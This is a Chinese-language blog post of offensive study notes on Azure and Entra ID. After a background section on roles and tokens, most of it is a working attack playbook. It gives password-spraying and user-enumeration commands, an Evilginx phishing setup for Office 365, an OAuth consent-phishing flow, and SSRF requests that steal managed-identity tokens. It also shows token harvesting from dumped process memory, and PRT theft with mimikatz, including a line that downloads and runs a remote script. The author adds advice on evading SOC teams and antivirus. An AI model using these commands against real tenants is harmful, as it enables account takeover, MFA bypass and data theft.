Azure 和 Azure AD (Entra ID) 安全研究小记 2024-09-02 13:02:20 Steven Xeldax > 本文旨在对Azure 和 Azure AD的攻击面和安全防护学习的记录 [TOC] ## Azure 基础知识 Azure是微软推出的云计算服务平台,提供各种云服务,包括计算、存储、数据库、人工智能等。作为全球领先的云服务提供商之一,Azure在企业中得到了广泛应用。 Azure是微软推出的云计算服务平台,提供了丰富多样的功能和服务,涵盖了计算、存储、数据库、人工智能、物联网等多个领域。以下是Azure的主要功能: 计算服务:Azure提供了虚拟机、容器服务(如Azure Kubernetes Service)、函数服务(Azure Functions)等计算资源,用户可以根据需求弹性地调整计算资源。 存储服务:Azure包括多种存储服务,如Blob存储、文件存储、表格存储和队列存储,用于存储各种类型的数据。 数据库服务:Azure提供了多种数据库服务,包括关系型数据库(如Azure SQL Database)、NoSQL数据库(如Cosmos DB)、数据仓库(如Azure Synapse Analytics)等,满足不同类型数据管理和分析的需求。 人工智能服务:Azure提供了丰富的人工智能服务,包括认知服务(如语音识别、图像分析)、机器学习服务(如Azure Machine Learning)、智能推荐等,帮助用户实现智能化应用。 物联网服务:Azure IoT Hub和Azure IoT Central等服务提供了物联网设备连接、监控和管理的功能,支持用户构建物联网解决方案。 网络服务:Azure提供了虚拟网络、负载均衡、应用网关等网络服务,帮助用户构建安全、可靠的网络架构。 安全与合规服务:Azure提供了安全中心、安全威胁检测、合规性服务等功能,帮助用户保护云端资产和数据的安全。 开发工具与集成:Azure集成了多种开发工具和服务,如Visual Studio、GitHub集成、DevOps服务等,帮助开发团队高效地构建、部署和管理应用程序。 总的来说,Azure提供了全面的云计算服务,涵盖了各种功能和服务,帮助用户轻松构建、部署和管理各种类型的应用程序和解决方案。 ### Azure 组织层次 在Azure中,组织层次是通过管理组(Management Group)、订阅(Subscription)、资源组(Resource Group)和资源(Resource)这四个层次来构建的。这种层次结构有助于组织和管理Azure中的资源,并在RBAC中定义权限范围。  ### Azure 访问控制 Azure的基于角色的访问控制(RBAC)是一种灵活且强大的访问控制机制,通过安全主体、角色定义和对象范围这三个要素来管理对Azure资源的访问权限。 * 安全主体(Security Principal):安全主体是发起资源访问请求的对象,可以是用户、组、服务主体或托管标识。用户代表Azure AD中的一个用户账户,组代表一组用户,服务主体是应用程序或服务发起资源访问时所使用的账户,托管标识用于云应用程序向Azure服务进行身份认证。 * 角色定义(Role Definition):角色定义列出了安全主体所拥有的权限。Azure内置了多种角色,包括所有者(Owner)、参与者(Contributor)、读取者(Reader)和用户访问管理员(User Access Administrator)。除了内置角色外,用户还可以创建自定义角色,根据具体需求定义不同的权限。 * 对象范围(Scope):对象范围采用父子关系结构,包括管理组、订阅、资源组和资源四种范围,用于定义所分配对象的范围。角色分配在父级别范围时会顺次继承给子范围,同一范围内的角色采取叠加的计算方法,确保权限的有效继承和管理。 通过这三个要素的结合,Azure RBAC实现了精细的访问控制,使用户能够灵活地管理对Azure资源的访问权限。管理员可以根据具体的业务需求和安全要求,将不同的角色分配给不同的安全主体,并限定其对象范围,从而实现对资源的安全管理和控制。RBAC是Azure中重要的安全特性之一,为用户提供了可靠的权限管理机制,确保云上资源的安全性和合规性。 ### Azure 安全主体 Principal  * 用户:具有访问权限的普通人。 * 组:一组共同管理的主体。授予组的权限由其成员继承。 * 服务主体/企业应用程序:它是为与应用程序、托管服务和自动化工具一起使用以访问 Azure 资源而创建的身份。此访问受分配给服务主体的角色限制,使您可以控制可以访问哪些资源以及在哪个级别访问。出于安全原因,始终建议将服务主体与自动化工具一起使用,而不是允许它们使用用户身份登录。 创建服务主体时,您可以选择密码验证或证书验证。 如果您选择密码验证(默认),请保存生成的密码,因为您将无法再次访问它。 如果选择证书认证,请确保应用程序可以访问私钥。 * 托管标识(元数据凭据):Azure Active Directory 中的托管标识提供了一种自动管理应用程序标识的解决方案。应用程序使用这些标识来连接到与 Azure Active Directory ( Azure AD ) 身份验证兼容的资源。通过利用托管标识,应用程序可以保护 Azure AD 令牌,同时无需直接处理凭据。托管标识有两种类型: * 系统分配:某些 Azure 服务允许您直接在服务实例上启用托管标识。启用系统分配的托管标识时,会在 Azure AD 中创建一个标识。该标识与该服务实例的生命周期相关联。删除资源时,Azure会自动为您删除该标识。根据设计,只有该 Azure 资源可以使用此标识从 Azure AD 请求令牌。 * 用户分配: 您还可以将托管标识创建为独立的 Azure 资源。 您可以创建用户分配的托管标识并将其分配给Azure 服务的一个或多个实例(多个资源)。 对于用户分配的托管标识,标识与使用它的资源分开管理。 ### Azure 角色定义 Role 角色被分配给范围内的主体:principal -[HAS ROLE]->(scope) 分配给组的角色由该组的所有成员继承。 根据角色被分配到的范围,角色可以继承到范围容器内的其他资源。例如,如果用户 A在订阅上拥有角色,他将在订阅内的所有资源组和资源组内的所有资源上拥有该角色。 Role一般有: * 经典角色 * 内置角色 * 自定义角色 经典角色如下图所示,一般就是owner,contributor,reader  Azure有很多定义好的内置角色,具体可以参考官方文档。 Azure 的内置角色可以参考如下的文档: https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles  Azure AD 的内置角色可以参考如下的文档: https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/permissions-reference  Azure 还允许创建具有用户所需权限的自定义权限,有关自定义权限可以参考如下的文档: https://learn.microsoft.com/en-us/azure/role-based-access-control/custom-roles  ### Azure 对象范围 Scope 在 Azure 中,权限可以分配给层次结构的任何部分。 其中包括管理组、订阅、资源组和单个资源。 权限由分配了权限的实体所包含的资源继承。 这种分层结构允许高效且可扩展地管理访问权限。  ### Azure 普通用户的默认的一些权限 基本用户将拥有一些默认权限来枚举 AzureAD 的某些部分: * 读取所有用户、组、应用程序、设备、角色、订阅及其公共属性 * 邀请嘉宾(可以关闭) * 创建安全组 * 读取非隐藏群组成员身份 * 将访客添加到所属群组 * 创建新应用程序(可以关闭) * 向 Azure 添加最多 50 台设备(可以关闭) 您可以在文档中查看用户默认权限的完整列表,如下所示: https://learn.microsoft.com/en-us/entra/fundamentals/users-default-permissions ### Azure Token 各种票据凭证 * Access Tokens: 客户端向资源服务器出示此令牌以访问资源。它只能用于特定的用户、客户端和资源组合,并且在到期前不能撤销- 默认为 1 小时。使用此令牌的检测率很低。 * ID Tokens: 客户端从授权服务器接收此 token。它包含有关用户的基本信息。它与特定的用户和客户端组合绑定。 * Refresh Tokens:与访问令牌一起提供给客户端。用于获取新的访问和 ID 令牌。它与特定的用户和客户端组合绑定,并且可以撤销。非活动刷新令牌的默认有效期为90 天,活动令牌则无有效期。 在 Azure 中,涉及到身份验证和授权的过程中会涉及到多种类型的令牌。以下是一些常见的 Azure 令牌类型: * Security Token(安全令牌):安全令牌是一种广义的术语,可以用来描述各种类型的令牌,包括 Access Token、Refresh Token、ID Token 等。 * JWT Token(JSON Web Token):JWT 是一种开放标准(RFC 7519),定义了一种紧凑且自包含的方式来在各方之间安全地传输信息。 * SAML Token(Security Assertion Markup Language Token):SAML 是一种基于 XML 的标准,用于在安全领域中交换身份和授权信息。 * 此外还有一个PRT,PRT 是 Azure Active Directory(Azure AD)中的一个缩写,代表 "Primary Refresh Token"(主刷新令牌)。Primary Refresh Token 是一种特殊类型的令牌,用于在用户设备上获取和管理长期的访问令牌,以支持持久性的身份验证和单点登录体验。 ### Azure 服务和子域名的对应关系 Azure 平台提供了许多服务,每个服务都有其对应的子域名。以下是一些常见的 Azure 服务及其对应的子域名: Azure Portal: 子域名:portal.azure.com Azure Active Directory: 子域名:login.microsoftonline.com Azure Virtual Machines: 子域名:*.cloudapp.net Azure Blob Storage: 子域名:*.blob.core.windows.net Azure App Service: 子域名:*.azurewebsites.net Azure Functions: 子域名:*.azurewebsites.net Azure SQL Database: 子域名:*.database.windows.net Azure Cosmos DB: 子域名:*.documents.azure.com Azure Cognitive Services: 子域名:*.cognitiveservices.azure.com CDN 子域名:*.azureedge.net ## Azure AD 基础知识 Azure Active Directory(Azure AD)是Azure的身份验证服务,用于管理用户、组和应用程序的身份验证和授权。它是Azure中的关键组件,用于保护企业资源免受未经授权的访问。 ### Azure 与 Azure AD 与 Azure AD 域服务 Azure AD是Azure内部的 服务。Azure是微软的云平台,而Azure AD是Azure 中的企业身份服务。此外, Azure AD 与 Windows Active Directory 不同,它是一种以完全不同的方式工作的身份服务。如果您想在 Azure 中为 Windows Active Directory 环境运行域控制器,则需要使用Azure AD 域服务。 ### Azure AD 加入方式 设备标识是 Microsoft Entra ID 中的一个对象,类似于用户、组或应用程序。 设备标识为管理员提供信息,供其在做出访问或配置决策时使用。 三种方法加入AAD来获取设备标识: * Microsoft Entra registration: 无需用企业帐户登录到设备即可注册到 Microsoft Entra ID, 使用本地帐户登录, 一般使用场景是在移动设备上访问azure上资源 * Microsoft Entra join: 需要企业帐户登录到设备, 设备所有权属于企业,适合仅使用azure验证的企业,主要通过azure来管理设备 * Microsoft Entra hybrid join: 需要有本地AD连接来进行登录验证,适用于已有本地AD的企业,经常作为过渡到Microsoft Entra join的临时阶段。使用本地AD组策略进行管理 有关AD Joined,AAD Joined,AAD Register,Hybrid Joined的具体区别可以参考下面的这篇文章中所提到的: https://learn.microsoft.com/en-us/answers/questions/33891/difference-between-azure-ad-registered-azure-ad-jo #### AAD Registered 定义:Azure AD Registered 是指将设备注册到 Azure AD,但不同于 Azure AD Joined,这种注册方式通常用于设备访问 Azure AD 应用程序,而不涉及完整的设备身份验证。 特点:适用于设备需要访问 Azure AD 应用程序或资源,但不需要进行完整的设备身份验证的情况。 优点:简化了设备的注册流程,适用于特定的应用程序访问场景。  #### AAD Joined 定义:Azure AD Joined 是指设备完全注册到 Azure AD,并且可以通过 Azure AD 进行身份验证和访问控制。 特点:这种注册方式适用于完全云端的设备,如 Windows 10 设备,它们可以从任何地方访问 Azure AD 资源。 优点:提供了更强大的身份验证和访问控制功能,适用于云原生环境。  #### Hybrid Joined 定义:Hybrid Joined 是指设备同时注册到本地 Active Directory 和 Azure AD,使得设备可以在本地和云端之间无缝切换。 特点:适用于混合环境,允许本地部署的设备与 Azure AD 集成,从而实现统一的身份验证和访问体验。 优点:保留了本地 Active Directory 的功能,同时也能够利用 Azure AD 的优势,适用于需要混合云解决方案的组织。  ## Azure 的攻击面 ### azure 初始信息收集 在没有凭证的情况下可以利用这个工具进行一些初始化的信息收集: https://github.com/Gerenios/AADInternals  > Install-Module AADInternals 获取tenant id ``` Get-AADIntTenantID -Domain XXXX.com ``` 获取这个租户关联的子域名,这个对于扩展域名的攻击面特别有用 ``` Get-AADIntTenantDomains -Domain XXX.com ```  获取登录信息 ``` Get-AADIntLoginInformation -UserName XXXX ``` ``` Get-AADIntLoginInformation -UserName XXXX ```  常用信息 ``` Invoke-AADIntReconAsOutsider -DomainName qaflashdot.com | Format-Table ```  **Azure中Guest账户的格式如下**: > <email>#EXT#@<tenant name>.onmicrosoft.com ### 初始访问:进入Azure边界的办法 #### 凭证爆破:密码喷洒攻击 在Azure中,可以针对不同的 API 端点(例如 Azure AD Graph、Microsoft Graph、Office 365 Reporting webservice 等)完成此操作。 但是请注意,这种技术非常嘈杂,蓝队可以轻松发现它。此外,强制密码复杂性和使用MFA会使这种技术变得毫无用处。 ##### 验证邮箱Azure账号是否存在 AADInternals ``` # Check does the user exist Invoke-AADIntUserEnumerationAsOutsider -UserName "user@company.com" ``` ``` # Invoke user enumeration Get-Content .\users.txt | Invoke-AADIntUserEnumerationAsOutsider -Method Normal ```  o365creeper 工具 https://github.com/LMGsec/o365creeper ``` # Put in emails.txt emails such as: # - root@corp.onmicrosoft.com python.exe .\o365creeper\o365creeper.py -f .\emails.txt -o validemails.txt ``` o365spray https://github.com/0xZDH/o365spray ``` o365spray --enum -U usernames.txt --domain test.com ``` ##### 爆破Azure账号密码 o365spray https://github.com/0xZDH/o365spray ``` o365spray --spray -U usernames.txt -P passwords.txt --count 2 --lockout 5 --domain test.com ``` ``` python3 o365spray.py --spray -U validemails.txt -p 'Welcome2022!' --count 1 --lockout 1 --domain victim.com ``` #### 钓鱼:AiTM攻击 可以使用evil nginx进行钓鱼 https://github.com/An0nUD4Y/Evilginx2-Phishlets/blob/master/o365.yaml https://janbakker.tech/how-to-set-up-evilginx-to-phish-office-365-credentials/ ``` sudo apt-get -y install git make git clone https://github.com/BakkerJan/evilginx2.git cd evilginx2 make sudo make install sudo evilginx config domain <yourdomain> config ip <yourIP> blacklist unauth phishlets hostname o365 <yourdomain> phishlets enable o365 lures create o365 lures edit 0 redirect_url https://portal.office.com lures get-url 0 ```  #### 钓鱼:OAuth钓鱼 OAuth 应用程序网络钓鱼 Azure 应用程序请求访问用户数据的权限(基本信息,还可以访问文档、发送电子邮件...)。如果允许,普通用户只能授予“低影响”权限的同意。在所有其他情况下,都需要管理员同意。 GA,,ApplicationAdministrator并且CloudApplication Administrator自定义角色(包括)permission to grant permissions to applications可以提供租户范围的同意。 只有不需要管理员同意的权限才被归类为低影响。基本登录所需的权限包括 openid、profile、email、User.Read 和 offline_access 。如果组织 允许用户同意所有应用程序,则员工可以授权应用程序从其个人资料中读取上述内容。 因此,攻击者可以准备一个恶意的应用程序,并通过网络钓鱼,让用户接受该应用程序并窃取他的数据。 参考 https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-illicit-consent-grant  2 种非法同意授予攻击 未经身份验证:从外部帐户创建具有权限的应用程序User.Read,User.ReadBasic.All例如,钓鱼用户,您将能够访问目录信息。 这要求被授权的用户能够接受来自外部环境的 OAuth 应用程序! 已验证:获得具有足够权限的主体后,在帐户内创建一个应用程序,并诱骗一些可以接受特权 OAuth 权限的特权用户。 在这种情况下,您已经可以访问目录的信息,因此权限User.ReadBasic.All不再有趣。 你可能对需要管理员授予的权限感兴趣,因为原始用户不能向 OAuth 应用授予任何权限,这就是为什么你只需要对这些用户进行钓鱼(稍后将详细介绍哪些角色/权限授予此特权) 检查用户是否同意 以下 PowerShell 命令用于检查 Azure Active Directory (Azure AD) 中用户的同意配置,以了解他们是否能够同意应用程序: ``` PS AzureADPreview> (GetAzureADMSAuthorizationPolicy).PermissionGrantPolicyIdsAssignedToDefaultUserRole ``` 禁用用户同意:此设置禁止用户向应用程序授予权限。不允许用户同意应用程序。 用户可以同意来自经过验证的发布者或您的组织的应用,但只能同意您选择的权限:此设置允许所有用户仅同意由经过验证的发布者发布的应用程序和在您自己的租户中注册的应用程序。它通过仅允许同意特定权限来增加一层控制。 用户可以同意所有应用程序:此设置更加宽松,允许所有用户同意应用程序的任何权限,只要这些权限不需要管理员同意。 自定义应用同意策略:此设置表示已实施自定义策略,该策略可以根据特定的组织要求进行定制,并且可能涉及基于应用发布者、应用请求的权限和其他因素的限制组合。 攻击流程: ``` 针对一家普通公司的攻击涉及多个步骤。攻击可能采取以下方式: 域名注册和应用程序托管:攻击者注册一个类似于可信站点的域名,例如“safedomainlogin.com”。在此域名下,创建一个子域名(例如“companyname.safedomainlogin.com”)来托管旨在捕获授权码和请求访问令牌的应用程序。 在 Azure AD 中注册应用程序:攻击者随后在其 Azure AD 租户中注册一个多租户应用程序,并以目标公司的名称命名,使其看起来合法。他们将应用程序的重定向 URL 配置为指向托管恶意应用程序的子域。 设置权限:攻击者为应用程序设置各种 API 权限(例如,Mail.Read,Notes.Read.All,Files.ReadWrite.All,User.ReadBasic.All)User.Read。这些权限一旦被用户授予,攻击者便可以代表用户提取敏感信息。 分发恶意链接:攻击者制作一个包含恶意应用程序客户端 ID 的链接,并与目标用户共享,诱骗他们授予同意。 ``` 可以使用如下工具进行钓鱼: https://github.com/AlteredSecurity/365-Stealer https://github.com/mdsecactivebreach/o365-attack-toolkit #### 常规渗透办法突破Azure边界 1. 利用Azure 应用的漏洞进入一台Azure实例,收集实例中的Ak、SK或者利用VM的Identify Role进行后渗透 2. 利用github、网盘、目录爆破泄露等OSINT手段收集目标azure 资产泄露的AK、SK或者密码凭证 3. SSRF漏洞 关于SSRF 漏洞,可以参考这篇文章https://cybercx.com.au/blog/azure-ssrf-metadata/ azure SSRF需要满足的条件有:HTTP 标头要求 SSRF 漏洞通常仅限于可以发送的请求的结构,简单的 HTTP 标头要求通常足以防止攻击。 大多数 IMDS 端点需要发送 HTTP 标头“Metadata: True”,而大多数 WireServer 端点需要发送“x-ms-version: 2015-04-05”。 这些标头的要求尚未得到一致应用,有些端点不需要任何标头。此外,如果攻击者可以直接或通过回车换行符 (CRLF) 注入漏洞控制请求中的标头,则可以绕过此保护。CRLF 注入允许插入新行,这可以使攻击者更改发送到元数据端点的标头。 Azure VM下的SSRF ``` HEADER="Metadata:true" URL="http://169.254.169.254/metadata" API_VERSION="2021-12-13" #https://learn.microsoft.com/en-us/azure/virtual-machines/instance-metadata-service?tabs=linux#supported-api-versions echo "Instance details" curl -s -f -H "$HEADER" "$URL/instance?api-version=$API_VERSION" echo "Load Balancer details" curl -s -f -H "$HEADER" "$URL/loadbalancer?api-version=$API_VERSION" echo "Management Token" curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/" echo "Graph token" curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://graph.microsoft.com/" echo "Vault token" curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://vault.azure.net/" echo "Storage token" curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://storage.azure.com/" ``` Azure APP Service 下的SSRF: ``` # Check for those env vars to know if you are in an Azure app echo $IDENTITY_HEADER echo $IDENTITY_ENDPOINT # You should also be able to find the folder: ls /opt/microsoft #and the file ls /opt/microsoft/msodbcsql17 # Get management token curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER # Get graph token curl "$IDENTITY_ENDPOINT?resource=https://graph.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER # API # Get Subscriptions URL="https://management.azure.com/subscriptions?api-version=2020-01-01" curl -H "Authorization: $TOKEN" "$URL" # Get current permission on resources in the subscription URL="https://management.azure.com/subscriptions/<subscription-uid>/resources?api-version=2020-10-01'" curl -H "Authorization: $TOKEN" "$URL" # Get permissions in a VM URL="https://management.azure.com/subscriptions/<subscription-uid>/resourceGroups/Engineering/providers/Microsoft.Compute/virtualMachines/<VM-name>/providers/Microsoft.Authorization/permissions?api-version=2015-07-01" curl -H "Authorization: $TOKEN" "$URL" ``` **不需要metadata的SSRF请求** /metadata/v1/instanceinfo ``` Request GET /metadata/v1/instanceinfo HTTP/1.1 Host: 169.254.169.254 Connection: close Response HTTP/1.1 200 OK Content-Type: text/json; charset=utf-8 Server: Microsoft-IIS/10.0 Date: Tue, 25 Apr 2023 23:11:16 GMT Connection: close Content-Length: 37 {"ID":"_vm-ubuntu","UD":"0","FD":"0"} ``` http://168.63.129.16:32526/vmSettings ``` http://168.63.129.16:32526/vmSettings This endpoint returns the virtual machine instance’s configuration. This includes the protected and public settings of VM guest agents (extensions), as well as the status-upload blob used by guest agents to share messages with the Azure Fabric Controller. Request GET /vmSettings HTTP/1.1 Host: 168.63.129.16:32526 User-Agent: curl/7.81.0 Accept: */* Response HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8 ETag: 12992715132905457848 Server: Microsoft-IIS/10.0 Date: Thu, 27 Apr 2023 03:53:23 GMT Content-Length: 20327 {"hostGAPluginVersion":"1.0.8.139","vmSettingsSchemaVersion":"0.0","activityId":"49...f2","correlationId":"dc...b0","inSvdSeqNo":2,"extensionsLastModifiedTickCount":638181619819019174,"extensionGoalStatesSource":"FastTrack","statusUploadBlob":{"statusBlobType":"PageBlob","value":"https://md-ssd-l2l3rrfl3qfm.z28.blob.storage.azure.net/$system/metadatahost..."},"inVMMetadata":{"subscriptionId":"84...49","resourceGroupName":"RG-METADATADISCOVERY-TEST-WESTUS2","vmName":"metadatahost","location":"WestUS3","vmId":"ce3...e6","vmSize":"Standard_B1ls","osType":"Linux","vmImage":{"publisher":"canonical","offer":"0001-com-ubuntu-server-jammy","sku":"22_04-lts-gen2","version":"22.04.202304200"}},"gaFamilies":[{"name":"Prod","uris":["https://umsak00qv445s1dkcjcd.blob.core.windows.net/...","https://umsacrcxrndpdpzplkwl.blob.core.windows.net/...l","https://umsah0twc0d25lndsc0j.blob.core.windows.net/..."]}],"extensionGoalStates":[{"name":"Microsoft.Azure.AzureDefenderForServers.MDE.Linux","version":"1.0.3.7","location":"https://umsagxkprqml1tpvhwph.blob.core.windows.net/60...09/60...09_manifest.xml","failoverLocation":"https://umsazgcntdcv5lncvgz0.blob.core.windows.net/60...09/60...09_manifest.xml","state":"enabled","autoUpgrade":true,"runAsStartupTask":false,"isJson":true,"useExactVersion":true,"settingsSeqNo":2,"isMultiConfig":false,"settings":[{"protectedSettingsCertThumbprint":"9B...47","protectedSettings":"MI...w=","publicSettings":"{\"azureResourceId\":\"/subscriptions/84...49/resourceGroups/RG-METADATADISCOVERY-TEST-WESTUS2/providers/Microsoft.Compute/virtualMachines/metadatahost\",\"forceReOnboarding\":false,\"vNextEnabled\":false,\"autoUpdate\":true}"}]},{"name":"Microsoft.EnterpriseCloud.Monitoring.OmsAgentForLinux","version":"1.14.23","location":"https://umsakhqq1rhdnwhj0cjr.blob.core.windows.net/68...7a/68...7a_manifest.xml","failoverLocation":"https://umsafng1jksvbltk1h01.blob.core.windows.net/68...7a/68...7a_manifest.xml","state":"enabled","autoUpgrade":true,"runAsStartupTask":false,"isJson":true,"useExactVersion":true,"settingsSeqNo":0,"isMultiConfig":false,"settings":[{"protectedSettingsCertThumbprint":"9B...47","protectedSettings":"MI...Fv","publicSettings":"{\"workspaceId\":\"9c...13\"}"}]}]} ``` ### 获取Azure Token后的服务枚举 ``` $Token = 'eyJ0eX..' $URI = 'https://management.azure.com/subscriptions?api-version=2020-01-01' # $URI = 'https://graph.microsoft.com/v1.0/applications' $RequestParams = @{ Method = 'GET' Uri = $URI Headers = @{ 'Authorization' = "Bearer $Token" } } (Invoke-RestMethod @RequestParams).value # List resources and check for runCommand privileges $URI = 'https://management.azure.com/subscriptions/b413826f-108d-4049-8c11-d52d5d388768/resources?api-version=2020-10-01' $URI = 'https://management.azure.com/subscriptions/b413826f-108d-4049-8c11-d52d5d388768/resourceGroups/<RG-NAME>/providers/Microsoft.Compute/virtualMachines/<RESOURCE/providers/Microsoft.Authorization/permissions?apiversion=2015-07-01' ``` ### Azure 权限维持 非法同意授予 默认情况下,任何用户都可以在 Azure AD 中注册应用程序。因此,您可以注册需要管理员同意(如果您是管理员,请批准)的高影响权限的应用程序(仅适用于目标租户),例如代表用户发送邮件、角色管理等。这将允许我们执行网络钓鱼攻击,如果成功,将非常有成效。 此外,您还可以让您的用户接受该应用程序,以保持对它的访问权限。 应用程序和服务主体 凭借应用程序管理员、GA 或具有 microsoft.directory/applications/credentials/update 权限的自定义角色的权限,我们可以向现有应用程序添加凭据(机密或证书)。 可以定位具有高权限的应用程序或添加具有高权限的新应用程序。 添加到应用程序的一个有趣角色是特权身份验证管理员角色,因为它允许重置全局管理员的密码。 该技术还允许绕过 MFA。 ``` $passwd = ConvertTo-SecureString "XXXXXXXXXXXXXXXXXXXX" -AsPlainText -Force $creds = New-Object System.Management.Automation.PSCredential("311bf843-cc8b-459c-be24-6ed908458623", $passwd) Connect-AzAccount -ServicePrincipal -Credential $credentials -Tenant e12984235-1035-452e-bd32-ab4d72639a ``` 对于基于证书的身份验证 ``` Connect-AzAccount -ServicePrincipal -Tenant <TenantId> -CertificateThumbprint <Thumbprint> -ApplicationId <ApplicationId> ``` ## Azure AD 的攻击面 ### Azure AD 初始访问 * 凭证钓鱼,利用evilnginx等进行AiTM攻击获取邮箱的凭证可以同时使用Azure AD的资源。 * 木马钓鱼,诱惑受害者在Azure AD Join的机器执行木马 * 密码爆破,见Azure 章节的初始访问进入方法 #### C2控制AAD Join的机器下收集Azure AD凭证 ##### 收集终端凭证:处理内存访问令牌 一些与云同步的 Microsoft 软件(Excel、Teams……)可能会将访问令牌以明文形式存储在内存中。因此,只需转储进程的内存并查找JWT 令牌,就可以绕过 MFA 访问云中受害者的多个资源。 步骤: 使用您最喜欢的工具转储与 EntraID 用户同步的 Excel 流程。 运行:```string excel.dmp | grep 'eyJ0'```并在输出中找到几个标记 找到您最感兴趣的令牌并对其运行工具: ``` # Check the identity of the token curl -s -H "Authorization: Bearer <token>" https://graph.microsoft.com/v1.0/me | jq # Check the email (you need a token authorized in login.microsoftonline.com) curl -s -H "Authorization: Bearer <token>" https://outlook.office.com/api/v2.0/me/messages | jq # Download a file from Teams ## You need a token that can access graph.microsoft.com ## Then, find the <site_id> inside the memory and call curl -s -H "Authorization: Bearer <token>" https://graph.microsoft.com/v1.0/sites/<site_id>/drives | jq ## Then, list one drive curl -s -H "Authorization: Bearer <token>" 'https://graph.microsoft.com/v1.0/sites/<site_id>/drives/<drive_id>' | jq ``` ##### 收集终端凭证:本地令牌存储 查找类似```C:\Users\<username>\.Azure`` 的文件看是否存在本地的令牌。  ##### 收集终端凭证:浏览器中的cookie hackbrowerdata,chromekatz,mimikatz这一类的工具都可以获取钓鱼终端上的cookie ##### 收集终端凭证:AAD Join的机器上收集PRT(主刷新令牌) 检查你是否有PRT > Dsregcmd.exe /status 在 SSO 状态部分,您应该看到 AzureAdPrt 设置为YES。如下图所示:  使用 TPM 的 PRT Cookie 流 LSASS进程会将KDF 上下文发送给 TPM ,TPM 会使用会话密钥(在设备在 AzureAD 中注册时收集并存储在 TPM 中)和之前的上下文派生出一个密钥,这个派生出的密钥用于对PRT cookie(JWT)进行签名。 KDF上下文是来自 AzureAD 和 PRT 的随机数,用于创建与上下文(随机字节)混合的JWT 。 因此,即使由于 PRT 位于 TPM 内部而无法提取,也可以滥用 LSASS从新的上下文中请求派生密钥,并使用生成的密钥来签署 Cookies。  PRT 滥用场景 作为普通用户,可以通过向 LSASS 请求 SSO 数据来请求使用 PRT 。这可以像本机应用程序从Web 帐户管理器(令牌代理)请求令牌一样完成。WAM 将请求传递给LSASS,后者使用签名的 PRT 断言请求令牌。或者可以使用基于浏览器(Web)的流程,其中PRT cookie用作标头来验证对 Azure AS 登录页面的请求。 如果没有TPM保护,您可以以SYSTEM身份窃取 PRT ,或者使用加密 API与 LSASS 中的 PRT 密钥进行交互。 使用ROADtoken实现PRT攻击 ``` roadrecon auth prt-init .\ROADtoken.exe <nonce> Invoke-Command - Session $ps_sess -ScriptBlock{C:\Users\Public\PsExec64.exe - accepteula -s "cmd.exe" " /c C:\Users\Public\SessionExecCommand.exe UserToImpersonate C:\Users\Public\ROADToken.exe AwABAAAAAAACAOz_BAD0__kdshsy61GF75SGhs_[...] > C:\Users\Public\PRT.txt"} # Generate roadrecon auth --prt-cookie <prt_cookie> # Connect Connect-AzureAD --AadAccessToken <token> --AccountId <acc_ind> ``` 使用mimikatz实现PRT攻击 从 LSASS (本地安全机构子系统服务)中提取 PRT(主刷新令牌)并存储以供后续使用。 接下来提取会话密钥。鉴于此密钥最初由本地设备发出,然后重新加密,因此需要使用 DPAPI 主密钥进行解密。有关 DPAPI(数据保护 API)的详细信息可以在以下资源中找到:HackTricks,要了解其应用,请参阅传递 cookie 攻击。 会话密钥解密后,将获得 PRT 的派生密钥和上下文。这些对于创建 PRT cookie至关重要。具体来说,派生密钥用于签署构成 cookie 的 JWT(JSON Web 令牌)。Dirk-jan 提供了此过程的全面解释,可在此处访问。 ``` mimikatz.exe Privilege::debug Sekurlsa::cloudap # Or in powershell iex (New-Object Net.Webclient).downloadstring("https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1") Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::cloudap"' token::elevate dpapi::cloudapkd /keyvalue:[PASTE ProofOfPosessionKey HERE] /unprotect Dpapi::cloudapkd /context:[CONTEXT] /derivedkey:[DerivedKey] /Prt:[PRT] Name: x-ms-RefreshTokenCredential Value: [Paste your output from above] Path: / HttpOnly: Set to True (checked) ``` 使用AADInternals实现PRT攻击 ``` # Get the PRToken $prtToken = Get-AADIntUserPRTToken # Get an access token for AAD Graph API and save to cache Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken ``` 以上的几种方式只能适合实验室的环境,在真实的AAD Join的机器大部分都有defender和crowdstrike一类的杀毒软件,因此我们只能够自己对这些API进行开发对应的工具,这边还是挖个坑做个TBD用go、rust或者C搞一个API调用获取PRT的办法,否则在真实的红队利用中还是难以使用的。 ### Azure AD 后渗透信息收集 已获取有效Azure AD凭证后,便可进行信息收集阶段。 与Azure AD 交互的信息收集工具有很多,如o365recon、Stormspotter、Azucar、SkyArk、PowerZure、MSOline、MailSniper、ROADtools等。 我个人实验室喜欢ROADTools,可以一把锁,但真实情况下还是使用powershell,import azuread一个个命令敲才不会被SOC Team发现。 ``` pipenv shell roadrecon auth [-h] [-u USERNAME] [-p PASSWORD] [-t TENANT] [-c CLIENT] [--as-app] [--device-code] [--access-token ACCESS_TOKEN] [--refresh-token REFRESH_TOKEN] [-f TOKENFILE] [--tokens-stdout] roadrecon gather [-h] [-d DATABASE] [-f TOKENFILE] [--tokens-stdin] [--mfa] roadrecon auth -u test@<TENANT NAME>.onmicrosoft.com -p <PASSWORD> roadrecon gather roadrecon gui ``` roadrecon 数据库  类似AD Attack BloodHound的UI展示效果,一目了然  ### Azure AD 下的权限维持 参考Azure的权限维持,在管理员没有默认禁止用户创建AAD Application的话就创建个AAD Application进行权限维持。 ### Azure AD 安全加固 CSPM,Microsoft Defender Cloud 可以实现CNAPP(CSMP,CIEM)等保护,可以用此加固azure的云原生安全。 https://learn.microsoft.com/zh-cn/azure/defender-for-cloud/ https://github.com/Azure/Microsoft-Defender-for-Cloud/tree/main azure安全基线 